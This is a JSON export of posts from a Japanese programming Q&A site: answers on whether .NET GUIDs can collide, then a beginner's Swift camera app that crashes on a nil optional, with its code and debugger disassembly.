"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "5261",
"post_type": "question",
"score": 6,
"tags": [
"c#"
],
"title": "Guid 構造体およびGuid.NewGuid メソッド ()の一意なIDについて",
"view_count": 7231
} | [
{
"body": "> そもそも全端末でほぼ異なる一意なIDがなぜ作れるのか?\n\n前提を見逃しています。識別子である限り何ビット用意したとしても重複する可能性は排除できません。重複する前提で設計を行ってください。\n\n> このような識別子には、重複する可能性は非常に低いができます。 \n> Such an identifier has a very low probability of being duplicated.\n\nこのような記述がある通り「重複する可能性は非常に低い」でしかありません。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-27T04:44:59.610",
"id": "32187",
"last_activity_date": "2017-01-27T04:44:59.610",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "4236",
"parent_id": "32184",
"post_type": "answer",
"score": 1
},
{
"body": "GUID という用語は Microsoft による UUID の実装のひとつと解釈してOKです。 \nそして UUID の解説はたとえば <https://ja.wikipedia.org/wiki/UUID>\n\n「暗号学的単方向ハッシュ関数」というのは入力が少し違うと結果の値が大きく変わるような関数です。これの入力として各 PC ごとに異なるであろう値 (作成時刻の\nnsec 値とか MAC アドレスとかキー操作時間エントロピーとか) を渡すと毎回違う値が得られます。これが UUID です。\n\n> すべてのコンピューターおよびネットワークの間で使用できます。\n\nというのは「まったく無関係なマシンがお互いに連絡を取り合ったりせず独立に UUID を生成するような条件下でも、その UUID\nが完全一致する可能性が極めて低い」という意味です。\n\n言い換えれば、「自分が今生成した UUID が、過去未来、ネットワークの全マシン上で生成された別の UUID\nと完全一致する可能性はきわめて低いがゆえに一意の識別子として使えます」です。\n\n極めて低いだけで完全に0ではないよ、と提示 MSDN 解説ページ(の原文)は主張しています\n(機械翻訳日本語ページより、原文英語ページのほうが意味が理解しやすいです) 。\n\nUUID がたまたま一致する確率は、キー長と誕生日のパラドックスから決まり Wikipedia の解説では 1/(2^61) と書かれています。\n\n厳密さをさておき、ちょっと計算してみましょう。\n\n1秒に1億個の UUID を生成・比較できるマシンが UUID を生成して比較し続けるとします。 \n1億 = 2^26.57 \n1年は 365*24*3600 秒なので 2^24.91 \n61-26.57-24.91 = 9.52 なので 2^9.52 年すなわち 734 年かけると一致することがある。\n\nUUID が一致したら何がどうまずいか?あたりは事前に検討が必要です。 \nまあ普通に「善意の UUID ユーザが正しく運用すれば」そう簡単に一致はしませんけど、ネットワーク電文を読み取って UUID\nを手に入れた攻撃者が悪意を持って使ったら?とかは一度考えてもいいでしょう。",
"comment_count": 1,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-27T05:11:03.250",
"id": "32188",
"last_activity_date": "2017-01-27T05:11:03.250",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "8589",
"parent_id": "32184",
"post_type": "answer",
"score": 8
},
{
"body": "マイクロソフトは[Windows 2000](https://msdn.microsoft.com/en-\nus/library/aa446557.aspx)から`UUID version\n4`のアルゴリズムを採用していて、乱数をもとに一意といえるIDを生成しています。(他の回答のとおり、衝突する可能性が極めて低いのです。注意点としては、結果が一意であることに重きをおいていて、結果が暗号学的にランダムというわけではないです)\n\n`UUID version\n1`のアルゴリズムは\"MACアドレスとタイムスタンプ”を用いるため、マシン毎に一意な値を生成するという点では利点があるかもしれません。が、マイクロソフトはセキュリティの懸念から採用していないそうです。(自分には説明できません。MACアドレス・タイムスタンプは比較的簡単に偽造できるからでしょうか)\nちなみに、[version 1のUUIDを生成する手段](https://stackoverflow.com/questions/9411673/how-\nto-generate-a-version-1-guid-in-net)もあるようです。",
"comment_count": 1,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-28T06:36:31.863",
"id": "32217",
"last_activity_date": "2017-01-28T06:47:37.840",
"last_edit_date": "2017-05-23T12:38:56.083",
"last_editor_user_id": "-1",
"owner_user_id": "2238",
"parent_id": "32184",
"post_type": "answer",
"score": 2
},
{
"body": "> 極めて低いだけで完全に0ではない\n\n結局のところ↑をどう捉えるか、です。 \n冷たいたようですが、判断は自分でするべきだと思います。\n\n個人的には、ちょっとしたツール程度や試作レベルなら「一意である」ことにして先に進みますが、プロダクションでは DB\nで管理された、システム的に一意な値を使用することが多いです。\n\nまた、非常に大規模なシステムでスケールアウトが必要であり、毎回 DB 問い合わせなどやってられない場合は、たっまつに DB\n管理された一意な値を振り出して引き渡しておき、実使用する際にはさらにそれに伝達経路や処理ノードなどに割り当てられた一意な値、タイムスタンプや情報を付与することで厳密な一意性を担保しています。\n\n要するに、GUID\nの一意性は「極めて低いだけで完全に0ではない」のは明らかなので、それをどう捉えてどのように実装には反映するかの判断は自分(達)である、ということです。\n\nもちろん、その判断をするための材料として本件のような質問をすることは意義あることだと思います。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-02-11T02:35:29.243",
"id": "32574",
"last_activity_date": "2017-02-11T02:35:29.243",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "3033",
"parent_id": "32184",
"post_type": "answer",
"score": 2
}
]
| 32184 | 32188 | 32188 |
{
"accepted_answer_id": null,
"answer_count": 1,
"body": "参考書に書いてあるカメラアプリを作ろうと記述通りの手順でコードを書いたつもりです。 \nコード自体にはエラーは表示されていません。アプリをMacに繋いだ自分のiPhoneで試そうとしたのですが、以下のような表示が出てしまい、iPhone画面が真っ白な状態です。\n\n```\n\n ibswiftCore.dylib`function signature specialization <preserving fragile attribute, Arg[2] = Dead, Arg[3] = Dead> of Swift._fatalErrorMessage (Swift.StaticString, Swift.StaticString, Swift.StaticString, Swift.UInt, flags : Swift.UInt32) -> Swift.Never:\n 0x1002c1184 <+0>: stp x26, x25, [sp, #-80]!\n 0x1002c1188 <+4>: stp x24, x23, [sp, #16]\n 0x1002c118c <+8>: stp x22, x21, [sp, #32]\n \n .\n .\n .\n 0x1002c11f4 <+112>: mov x4, x8\n 0x1002c11f8 <+116>: bl 0x1001b4b80 ; function signature specialization <preserving fragile attribute, Arg[1] = [Closure Propagated : reabstraction thunk helper from @callee_owned (@unowned Swift.UnsafeBufferPointer<Swift.UInt8>) -> () to @callee_owned (@unowned Swift.UnsafeBufferPointer<Swift.UInt8>) -> (@out ()), Argument Types : [@callee_owned (@unowned Swift.UnsafeBufferPointer<Swift.UInt8>) -> ()]> of generic specialization <preserving fragile attribute, ()> of Swift.StaticString.withUTF8Buffer <A> ((Swift.UnsafeBufferPointer<Swift.UInt8>) -> A) -> A\n -> 0x1002c11fc <+120>: brk #0x1\n \n```\n\n上の最後の#0x1の後に\"Thread 1:EXC_BREAKPOINT(code=1,\nsubcode=0x1002c11fc)\"が表示されて止まってしまいます。\n\nSwiftを独学で勉強し始めてほんの数日です。基本的な文法もルールもまだ理解していません。試しにアプリを作ってみたくて、本に書いてある通りに操作して作っていました。このサイトを利用するのも初めてです。どうか、この身の程知らずのぺいぺいにご教授お願いします。\n\n追記 \nコードは\n\n```\n\n import UIKit\n import AVFoundation\n \n \n class ViewController: UIViewController {\n //プレビュー用のビューとoutlet接続しておく\n @IBOutlet weak var previewView:UIView!\n //インスタンスの作成\n var session = AVCaptureSession()\n var photoOutput = AVCapturePhotoOutput()\n //通知センターを作る\n let notification = NotificationCenter.default\n \n override func viewDidLoad() {\n super.viewDidLoad()\n // セッション実行中ならば中断する\n if session.isRunning {\n return\n }\n //入出力の設定\n setupInputOutput()\n //プレビューレイヤの設定\n setPreviewLayer()\n //セッション開始\n session.startRunning()\n notification.addObserver(self,\n selector: #selector(self.changedDeviceOrientation(_:)),\n name: NSNotification.Name.UIDeviceOrientationDidChange, object: nil)\n }\n \n //シャッターボタンで実行する\n @IBAction func takePhoto(_ sender: AnyObject) {\n let captureSetting = AVCapturePhotoSettings()\n captureSetting.flashMode = .auto\n captureSetting.isAutoStillImageStabilizationEnabled = true\n captureSetting.isHighResolutionPhotoEnabled = false\n //キャプチャのイメージ処理はデリゲートに任せる\n photoOutput.capturePhoto(with: captureSetting, delegate: self)\n }\n \n \n //入出力の設定\n func setupInputOutput(){\n //解像度の指定\n session.sessionPreset = AVCaptureSessionPresetPhoto\n \n \n //入出力\n do {\n //デバイスの取得\n let device = AVCaptureDevice.defaultDevice(\n withDeviceType: AVCaptureDeviceType.builtInWideAngleCamera,\n mediaType: AVMediaTypeVideo,\n position: .back)\n \n //入力元\n let input = try AVCaptureDeviceInput(device: device)\n if session.canAddInput(input){\n session.addInput(input)\n }else {\n print(\"セッションに入力を追加できなかった\")\n return\n }\n } catch let error as NSError {\n print(\"カメラがない\\(error)\")\n return\n }\n \n //入力先\n if session.canAddOutput(photoOutput) {\n session.addOutput(photoOutput)\n } else {\n print(\"セッションに出力をできなかった\")\n return\n }\n }\n \n //プレビューレイヤの設定\n func setPreviewLayer(){\n //プレビューレイヤを作る\n let previewLayer = AVCaptureVideoPreviewLayer(session: session)\n guard let videoLayer = previewLayer else {\n print(\"プレビューレイヤーを作れなかった\")\n return\n }\n videoLayer.frame = view.bounds\n videoLayer.masksToBounds = true\n videoLayer.videoGravity = AVLayerVideoGravityResizeAspectFill\n //previewViewに追加する\n previewView.layer.addSublayer(videoLayer)\n }\n \n //デバイスの向きが変わった時に呼び出すメソッド\n func changedDeviceOrientation(_ notification :Notification) {\n // photoOutput.connectionの回転向きをデバイスと合わせる\n if let photoOutputConnection = self.photoOutput.connection(withMediaType: AVMediaTypeVideo) {\n switch UIDevice.current.orientation {\n case .portrait:\n photoOutputConnection.videoOrientation = .portrait\n case .portraitUpsideDown:\n photoOutputConnection.videoOrientation = .portraitUpsideDown\n case .landscapeLeft:\n photoOutputConnection.videoOrientation = .landscapeRight\n case .landscapeRight:\n photoOutputConnection.videoOrientation = .landscapeLeft\n default:\n break\n }\n }\n }\n \n \n override func didReceiveMemoryWarning() {\n super.didReceiveMemoryWarning()\n // Dispose of any resources that can be recreated.\n }\n \n \n }\n \n```\n\nと\n\n```\n\n // ExtensionViewController.swift\n // avCapturePhoto_simple\n //\n \n import Photos\n \n //デリゲート部分を拡張する\n extension ViewController:AVCapturePhotoCaptureDelegate {\n //映像をキャプチャする\n func capture(_ captureOutput: AVCapturePhotoOutput,\n didFinishProcessingPhotoSampleBuffer photoSampleBuffer: CMSampleBuffer?,\n previewPhotoSampleBuffer: CMSampleBuffer?,\n resolvedSettings: AVCaptureResolvedPhotoSettings,\n bracketSettings: AVCaptureBracketedStillImageSettings?,\n error: Error?) {\n \n //バッファからjpegデータを取り出す\n let photoData = AVCapturePhotoOutput.jpegPhotoDataRepresentation(\n forJPEGSampleBuffer: photoSampleBuffer!,\n previewPhotoSampleBuffer: previewPhotoSampleBuffer)\n \n // photoDateがnill出ない時UIImageに変換する\n if let data = photoData {\n if let stillImage = UIImage(data: data) {\n //アルバムに追加する\n UIImageWriteToSavedPhotosAlbum(stillImage, self, nil, nil)\n }\n }\n }\n }\n \n```\n\nです。\n\n```\n\n Autolayout`ViewController.setPreviewLayer() -> ():\n 0x10818e7f0 <+0>: pushq %rbp\n 0x10818e7f1 <+1>: movq %rsp, %rbp\n 0x10818e7f4 <+4>: subq $0x190, %rsp ; imm = 0x190 \n 0x10818e7fb <+11>: movq %rdi, -0x8(%rbp)\n 0x10818e7ff <+15>: movq %rdi, -0x68(%rbp)\n 0x10818e803 <+19>: callq 0x10818ed40 ; type metadata accessor for __ObjC.AVCaptureVideoPreviewLayer at ViewController.swift\n 0x10818e808 <+24>: movq 0x68e1(%rip), %rdi ; (void *)0x000000010aac99a0: swift_isaMask\n 0x10818e80f <+31>: movq -0x68(%rbp), %rcx\n 0x10818e813 <+35>: movq (%rcx), %rdx\n 0x10818e816 <+38>: andq (%rdi), %rdx\n 0x10818e819 <+41>: movq %rcx, %rdi\n 0x10818e81c <+44>: movq %rax, -0x70(%rbp)\n 0x10818e820 <+48>: callq *0x68(%rdx)\n 0x10818e823 <+51>: movq %rax, %rdi\n 0x10818e826 <+54>: movq -0x70(%rbp), %rsi\n 0x10818e82a <+58>: callq 0x10818ece0 ; __ObjC.AVCaptureVideoPreviewLayer.__allocating_init (session : Swift.ImplicitlyUnwrappedOptional<__ObjC.AVCaptureSession>) -> Swift.ImplicitlyUnwrappedOptional<__ObjC.AVCaptureVideoPreviewLayer> at ViewController.swift\n 0x10818e82f <+63>: movq %rax, %rdi\n 0x10818e832 <+66>: movq %rax, -0x78(%rbp)\n 0x10818e836 <+70>: callq 0x10819214c ; symbol stub for: objc_retain\n 0x10818e83b <+75>: movq -0x78(%rbp), %rcx\n 0x10818e83f <+79>: movq -0x78(%rbp), %rcx\n 0x10818e843 <+83>: cmpq $0x0, %rcx\n 0x10818e847 <+87>: movq %rax, -0x80(%rbp)\n 0x10818e84b <+91>: je 0x10818ec0c ; <+1052> at ViewController.swift:99\n 0x10818e851 <+97>: movq -0x78(%rbp), %rax\n 0x10818e855 <+101>: movq %rax, -0x88(%rbp)\n 0x10818e85c <+108>: movq -0x88(%rbp), %rax\n 0x10818e863 <+115>: movq %rax, -0x10(%rbp)\n 0x10818e867 <+119>: movq %rax, %rdi\n 0x10818e86a <+122>: movq %rax, -0x90(%rbp)\n 0x10818e871 <+129>: callq 0x10819214c ; symbol stub for: objc_retain\n 0x10818e876 <+134>: movq -0x90(%rbp), %rdi\n 0x10818e87d <+141>: movq -0x68(%rbp), %rcx\n 0x10818e881 <+145>: movq %rdi, -0x98(%rbp)\n 0x10818e888 <+152>: movq %rcx, %rdi\n 0x10818e88b <+155>: movq %rax, -0xa0(%rbp)\n 0x10818e892 <+162>: callq 0x10819214c ; symbol stub for: objc_retain\n 0x10818e897 <+167>: movq -0x68(%rbp), %rcx\n 0x10818e89b <+171>: movq 0x8256(%rip), %rsi ; \"view\"\n 0x10818e8a2 <+178>: movq %rcx, %rdi\n 0x10818e8a5 <+181>: movq %rax, -0xa8(%rbp)\n 0x10818e8ac <+188>: callq 0x108192134 ; symbol stub for: objc_msgSend\n 0x10818e8b1 <+193>: movq %rax, %rdi\n 0x10818e8b4 <+196>: callq 0x108192152 ; symbol stub for: objc_retainAutoreleasedReturnValue\n 0x10818e8b9 <+201>: movq %rax, -0x18(%rbp)\n 0x10818e8bd <+205>: movq -0x78(%rbp), %rax\n 0x10818e8c1 <+209>: cmpq $0x0, -0x18(%rbp)\n 0x10818e8c6 <+214>: jne 0x10818e913 ; <+291> at ViewController.swift:94\n 0x10818e8c8 <+216>: movq -0x78(%rbp), %rax\n 0x10818e8cc <+220>: movq -0x78(%rbp), %rax\n 0x10818e8d0 <+224>: movq -0x78(%rbp), %rax\n 0x10818e8d4 <+228>: leaq 0x4c0f(%rip), %rdi ; \"fatal error\"\n 0x10818e8db <+235>: movl $0xb, %eax\n 0x10818e8e0 <+240>: movl %eax, %esi\n 0x10818e8e2 <+242>: movl $0x2, %eax\n 0x10818e8e7 <+247>: leaq 0x4bc2(%rip), %rcx ; \"unexpectedly found nil while unwrapping an Optional value\"\n 0x10818e8ee <+254>: movl $0x39, %edx\n 0x10818e8f3 <+259>: movl %edx, %r8d\n 0x10818e8f6 <+262>: xorl %edx, %edx\n 0x10818e8f8 <+264>: movl %edx, -0xac(%rbp)\n 0x10818e8fe <+270>: movl %eax, %edx\n 0x10818e900 <+272>: movl %eax, %r9d\n 0x10818e903 <+275>: movl $0x0, (%rsp)\n 0x10818e90a <+282>: callq 0x1081921ca ; symbol stub for: function signature specialization <preserving fragile attribute, Arg[2] = Dead, Arg[3] = Dead> of Swift._fatalErrorMessage (Swift.StaticString, Swift.StaticString, Swift.StaticString, Swift.UInt, flags : Swift.UInt32) -> Swift.Never\n 0x10818e90f <+287>: movq -0x78(%rbp), %rcx\n 0x10818e913 <+291>: movq -0x18(%rbp), %rax\n 0x10818e917 <+295>: movq %rax, %rdi\n 0x10818e91a <+298>: movq %rax, -0xb8(%rbp)\n 0x10818e921 <+305>: callq 0x10819214c ; symbol stub for: objc_retain\n 0x10818e926 <+310>: leaq -0x38(%rbp), %rdi\n 0x10818e92a <+314>: movq 0x81cf(%rip), %rdx ; \"bounds\"\n 0x10818e931 <+321>: movq -0xb8(%rbp), %rcx\n 0x10818e938 <+328>: movq %rcx, %rsi\n 0x10818e93b <+331>: movq %rax, -0xc0(%rbp)\n 0x10818e942 <+338>: callq 0x108192140 ; symbol stub for: objc_msgSend_stret\n 0x10818e947 <+343>: leaq -0x58(%rbp), %rax\n 0x10818e94b <+347>: movsd -0x38(%rbp), %xmm0 ; xmm0 = mem[0],zero \n 0x10818e950 <+352>: movsd -0x30(%rbp), %xmm1 ; xmm1 = mem[0],zero \n 0x10818e955 <+357>: movsd -0x28(%rbp), %xmm2 ; xmm2 = mem[0],zero \n 0x10818e95a <+362>: movsd -0x20(%rbp), %xmm3 ; xmm3 = mem[0],zero \n 0x10818e95f <+367>: movq 0x81a2(%rip), %rsi ; \"setFrame:\"\n 0x10818e966 <+374>: movsd %xmm0, -0x58(%rbp)\n 0x10818e96b <+379>: movsd %xmm1, -0x50(%rbp)\n 0x10818e970 <+384>: movsd %xmm2, -0x48(%rbp)\n 0x10818e975 <+389>: movsd %xmm3, -0x40(%rbp)\n 0x10818e97a <+394>: movq -0x98(%rbp), %rcx\n 0x10818e981 <+401>: movq %rcx, %rdi\n 0x10818e984 <+404>: movq (%rax), %rcx\n 0x10818e987 <+407>: movq %rcx, (%rsp)\n 0x10818e98b <+411>: movq 0x8(%rax), %rcx\n 0x10818e98f <+415>: movq %rcx, 0x8(%rsp)\n 0x10818e994 <+420>: movq 0x10(%rax), %rcx\n 0x10818e998 <+424>: movq %rcx, 0x10(%rsp)\n 0x10818e99d <+429>: movq 0x18(%rax), %rax\n 0x10818e9a1 <+433>: movq %rax, 0x18(%rsp)\n 0x10818e9a6 <+438>: callq 0x108192134 ; symbol stub for: objc_msgSend\n 0x10818e9ab <+443>: movq -0xb8(%rbp), %rdi\n 0x10818e9b2 <+450>: callq 0x108192146 ; symbol stub for: objc_release\n 0x10818e9b7 <+455>: movq -0x18(%rbp), %rdi\n 0x10818e9bb <+459>: callq 0x108192146 ; symbol stub for: objc_release\n 0x10818e9c0 <+464>: movq -0x68(%rbp), %rdi\n 0x10818e9c4 <+468>: callq 0x108192146 ; symbol stub for: objc_release\n 0x10818e9c9 <+473>: movq -0x90(%rbp), %rdi\n 0x10818e9d0 <+480>: callq 0x108192146 ; symbol stub for: objc_release\n 0x10818e9d5 <+485>: movq -0x90(%rbp), %rdi\n 0x10818e9dc <+492>: callq 0x10819214c ; symbol stub for: objc_retain\n 0x10818e9e1 <+497>: movl $0x1, %edx\n 0x10818e9e6 <+502>: movq -0x90(%rbp), %rcx\n 0x10818e9ed <+509>: movq 0x811c(%rip), %rsi ; \"setMasksToBounds:\"\n 0x10818e9f4 <+516>: movq %rcx, %rdi\n 0x10818e9f7 <+519>: movq %rax, -0xc8(%rbp)\n 0x10818e9fe <+526>: callq 0x108192134 ; symbol stub for: objc_msgSend\n 0x10818ea03 <+531>: movq -0x90(%rbp), %rdi\n 0x10818ea0a <+538>: callq 0x108192146 ; symbol stub for: objc_release\n 0x10818ea0f <+543>: movq 0x660a(%rip), %rax ; (void *)0x0000000108de8270: AVLayerVideoGravityResizeAspectFill\n 0x10818ea16 <+550>: movq (%rax), %rdi\n 0x10818ea19 <+553>: callq 0x108192236 ; symbol stub for: static (extension in Foundation):Swift.String._unconditionallyBridgeFromObjectiveC (Swift.Optional<__ObjC.NSString>) -> Swift.String\n 0x10818ea1e <+558>: movq -0x78(%rbp), %rsi\n 0x10818ea22 <+562>: movb $0x1, %r8b\n 0x10818ea25 <+565>: testb $0x1, %r8b\n 0x10818ea29 <+569>: movq %rax, -0xd0(%rbp)\n 0x10818ea30 <+576>: movq %rdx, -0xd8(%rbp)\n 0x10818ea37 <+583>: movq %rcx, -0xe0(%rbp)\n 0x10818ea3e <+590>: jne 0x10818ea42 ; <+594> at ViewController.swift:96\n 0x10818ea40 <+592>: jmp 0x10818ea83 ; <+659> at ViewController.swift:96\n 0x10818ea42 <+594>: movq -0xd0(%rbp), %rdi\n 0x10818ea49 <+601>: movq -0xd8(%rbp), %rsi\n 0x10818ea50 <+608>: movq -0xe0(%rbp), %rdx\n 0x10818ea57 <+615>: callq 0x10819222a ; symbol stub for: (extension in Foundation):Swift.String._bridgeToObjectiveC () -> __ObjC.NSString\n 0x10818ea5c <+620>: movq -0xe0(%rbp), %rdi\n 0x10818ea63 <+627>: movq %rax, -0xe8(%rbp)\n 0x10818ea6a <+634>: callq 0x108192200 ; symbol stub for: swift_unknownRelease\n 0x10818ea6f <+639>: movq -0x78(%rbp), %rax\n 0x10818ea73 <+643>: movq -0xe8(%rbp), %rax\n 0x10818ea7a <+650>: movq %rax, -0xf0(%rbp)\n 0x10818ea81 <+657>: jmp 0x10818ea92 ; <+674> at ViewController.swift:96\n 0x10818ea83 <+659>: movq -0x78(%rbp), %rax\n 0x10818ea87 <+663>: xorl %ecx, %ecx\n 0x10818ea89 <+665>: movl %ecx, %eax\n 0x10818ea8b <+667>: movq %rax, -0xf0(%rbp)\n 0x10818ea92 <+674>: movq -0xf0(%rbp), %rax\n 0x10818ea99 <+681>: movq 0x8078(%rip), %rsi ; \"setVideoGravity:\"\n 0x10818eaa0 <+688>: movq -0x90(%rbp), %rcx\n 0x10818eaa7 <+695>: movq %rcx, %rdi\n 0x10818eaaa <+698>: movq %rax, %rdx\n 0x10818eaad <+701>: movq %rax, -0xf8(%rbp)\n 0x10818eab4 <+708>: callq 0x108192134 ; symbol stub for: objc_msgSend\n 0x10818eab9 <+713>: movq -0xf8(%rbp), %rdi\n 0x10818eac0 <+720>: callq 0x108192146 ; symbol stub for: objc_release\n 0x10818eac5 <+725>: movq 0x6624(%rip), %rax ; (void *)0x000000010aac99a0: swift_isaMask\n 0x10818eacc <+732>: movq -0x68(%rbp), %rcx\n 0x10818ead0 <+736>: movq (%rcx), %rdx\n 0x10818ead3 <+739>: andq (%rax), %rdx\n 0x10818ead6 <+742>: movq %rcx, %rdi\n 0x10818ead9 <+745>: callq *0x50(%rdx)\n 0x10818eadc <+748>: movq %rax, -0x60(%rbp)\n 0x10818eae0 <+752>: movq -0x78(%rbp), %rax\n 0x10818eae4 <+756>: cmpq $0x0, -0x60(%rbp)\n 0x10818eae9 <+761>: jne 0x10818eb36 ; <+838> at ViewController.swift:98\n 0x10818eaeb <+763>: movq -0x78(%rbp), %rax\n 0x10818eaef <+767>: movq -0x78(%rbp), %rax\n 0x10818eaf3 <+771>: movq -0x78(%rbp), %rax\n 0x10818eaf7 <+775>: leaq 0x49ec(%rip), %rdi ; \"fatal error\"\n 0x10818eafe <+782>: movl $0xb, %eax\n 0x10818eb03 <+787>: movl %eax, %esi\n 0x10818eb05 <+789>: movl $0x2, %eax\n 0x10818eb0a <+794>: leaq 0x499f(%rip), %rcx ; \"unexpectedly found nil while unwrapping an Optional value\"\n 0x10818eb11 <+801>: movl $0x39, %edx\n 0x10818eb16 <+806>: movl %edx, %r8d\n 0x10818eb19 <+809>: xorl %edx, %edx\n 0x10818eb1b <+811>: movl %edx, -0xfc(%rbp)\n 0x10818eb21 <+817>: movl %eax, %edx\n 0x10818eb23 <+819>: movl %eax, %r9d\n 0x10818eb26 <+822>: movl $0x0, (%rsp)\n 0x10818eb2d <+829>: callq 0x1081921ca ; symbol stub for: function signature specialization <preserving fragile attribute, Arg[2] = Dead, Arg[3] = Dead> of Swift._fatalErrorMessage (Swift.StaticString, Swift.StaticString, Swift.StaticString, Swift.UInt, flags : Swift.UInt32) -> Swift.Never\n 0x10818eb32 <+834>: movq -0x78(%rbp), %rcx\n 0x10818eb36 <+838>: movq -0x60(%rbp), %rax\n 0x10818eb3a <+842>: movq %rax, %rdi\n 0x10818eb3d <+845>: movq %rax, -0x108(%rbp)\n 0x10818eb44 <+852>: callq 0x10819214c ; symbol stub for: objc_retain\n 0x10818eb49 <+857>: movq 0x7fd0(%rip), %rsi ; \"layer\"\n 0x10818eb50 <+864>: movq -0x108(%rbp), %rdi\n 0x10818eb57 <+871>: movq %rax, -0x110(%rbp)\n 0x10818eb5e <+878>: callq 0x108192134 ; symbol stub for: objc_msgSend\n 0x10818eb63 <+883>: movq %rax, %rdi\n 0x10818eb66 <+886>: callq 0x108192152 ; symbol stub for: objc_retainAutoreleasedReturnValue\n 0x10818eb6b <+891>: movq -0x90(%rbp), %rdi\n 0x10818eb72 <+898>: movq %rax, -0x118(%rbp)\n 0x10818eb79 <+905>: callq 0x10819214c ; symbol stub for: objc_retain\n 0x10818eb7e <+910>: movq -0x90(%rbp), %rsi\n 0x10818eb85 <+917>: movq 0x7f9c(%rip), %rdi ; \"addSublayer:\"\n 0x10818eb8c <+924>: movq -0x118(%rbp), %rcx\n 0x10818eb93 <+931>: movq %rdi, -0x120(%rbp)\n 0x10818eb9a <+938>: movq %rcx, %rdi\n 0x10818eb9d <+941>: movq -0x120(%rbp), %rcx\n 0x10818eba4 <+948>: movq %rsi, -0x128(%rbp)\n 0x10818ebab <+955>: movq %rcx, %rsi\n 0x10818ebae <+958>: movq -0x128(%rbp), %rdx\n 0x10818ebb5 <+965>: movq %rax, -0x130(%rbp)\n 0x10818ebbc <+972>: callq 0x108192134 ; symbol stub for: objc_msgSend\n 0x10818ebc1 <+977>: movq -0x90(%rbp), %rdi\n 0x10818ebc8 <+984>: callq 0x108192146 ; symbol stub for: objc_release\n 0x10818ebcd <+989>: movq -0x118(%rbp), %rdi\n 0x10818ebd4 <+996>: callq 0x108192146 ; symbol stub for: objc_release\n 0x10818ebd9 <+1001>: movq -0x108(%rbp), %rdi\n 0x10818ebe0 <+1008>: callq 0x108192146 ; symbol stub for: objc_release\n 0x10818ebe5 <+1013>: movq -0x60(%rbp), %rdi\n 0x10818ebe9 <+1017>: callq 0x108192146 ; symbol stub for: objc_release\n 0x10818ebee <+1022>: movq -0x90(%rbp), %rdi\n 0x10818ebf5 <+1029>: callq 0x108192146 ; symbol stub for: objc_release\n 0x10818ebfa <+1034>: movq -0x78(%rbp), %rdi\n 0x10818ebfe <+1038>: callq 0x108192146 ; symbol stub for: objc_release\n 0x10818ec03 <+1043>: movq -0x78(%rbp), %rax\n 0x10818ec07 <+1047>: jmp 0x10818eccc ; <+1244> at ViewController.swift:99\n 0x10818ec0c <+1052>: movl $0x1, %eax\n 0x10818ec11 <+1057>: movl %eax, %edi\n 0x10818ec13 <+1059>: callq 0x10819225a ; symbol stub for: generic specialization <preserving fragile attribute, Any> of Swift._allocateUninitializedArray <A> (Builtin.Word) -> (Swift.Array<A>, Builtin.RawPointer)\n 0x10818ec18 <+1064>: leaq 0x4851(%rip), %rdi\n 0x10818ec1f <+1071>: movl $0x10, %ecx\n 0x10818ec24 <+1076>: movl %ecx, %esi\n 0x10818ec26 <+1078>: movq 0x640b(%rip), %r8 ; (void *)0x000000010aaa1858: type metadata for Swift.String\n 0x10818ec2d <+1085>: movq %r8, 0x18(%rdx)\n 0x10818ec31 <+1089>: movq %rax, -0x138(%rbp)\n 0x10818ec38 <+1096>: movq %rdx, -0x140(%rbp)\n 0x10818ec3f <+1103>: callq 0x108192176 ; symbol stub for: Swift.String.init (_builtinUTF16StringLiteral : Builtin.RawPointer, utf16CodeUnitCount : Builtin.Word) -> Swift.String\n 0x10818ec44 <+1108>: movq -0x140(%rbp), %rsi\n 0x10818ec4b <+1115>: movq %rax, (%rsi)\n 0x10818ec4e <+1118>: movq %rdx, 0x8(%rsi)\n 0x10818ec52 <+1122>: movq %rcx, 0x10(%rsi)\n 0x10818ec56 <+1126>: callq 0x1081921ac ; symbol stub for: Swift.(print (Swift.Array<Any>, separator : Swift.String, terminator : Swift.String) -> ()).(default argument 1)\n 0x10818ec5b <+1131>: movq %rax, -0x148(%rbp)\n 0x10818ec62 <+1138>: movq %rdx, -0x150(%rbp)\n 0x10818ec69 <+1145>: movq %rcx, -0x158(%rbp)\n 0x10818ec70 <+1152>: callq 0x1081921b2 ; symbol stub for: Swift.(print (Swift.Array<Any>, separator : Swift.String, terminator : Swift.String) -> ()).(default argument 2)\n 0x10818ec75 <+1157>: movq -0x138(%rbp), %rdi\n 0x10818ec7c <+1164>: movq -0x148(%rbp), %rsi\n 0x10818ec83 <+1171>: movq -0x150(%rbp), %r8\n 0x10818ec8a <+1178>: movq %rdx, -0x160(%rbp)\n 0x10818ec91 <+1185>: movq %r8, %rdx\n 0x10818ec94 <+1188>: movq -0x158(%rbp), %r9\n 0x10818ec9b <+1195>: movq %rcx, -0x168(%rbp)\n 0x10818eca2 <+1202>: movq %r9, %rcx\n 0x10818eca5 <+1205>: movq %rax, %r8\n 0x10818eca8 <+1208>: movq -0x160(%rbp), %r9\n 0x10818ecaf <+1215>: movq -0x168(%rbp), %rax\n 0x10818ecb6 <+1222>: movq %rax, (%rsp)\n 0x10818ecba <+1226>: callq 0x1081921a0 ; symbol stub for: Swift.print (Swift.Array<Any>, separator : Swift.String, terminator : Swift.String) -> ()\n 0x10818ecbf <+1231>: movq -0x78(%rbp), %rdi\n 0x10818ecc3 <+1235>: callq 0x108192146 ; symbol stub for: objc_release\n 0x10818ecc8 <+1240>: movq -0x78(%rbp), %rax\n 0x10818eccc <+1244>: movq -0x78(%rbp), %rax\n 0x10818ecd0 <+1248>: addq $0x190, %rsp ; imm = 0x190 \n 0x10818ecd7 <+1255>: popq %rbp\n 0x10818ecd8 <+1256>: retq \n \n```\n\n上のコード(?)の0x10818eb32 <+834>: movq -0x78(%rbp), %rcx\nの横にThread1:EXC_BAD_INSTRUCTION(code=EXC_I386_INVOP,subcode=0x0)と表示されてアプリがフリーズしてしまいます。この操作はsimulatorで試みたものです。",
"comment_count": 4,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-27T04:15:10.077",
"favorite_count": 0,
"id": "32185",
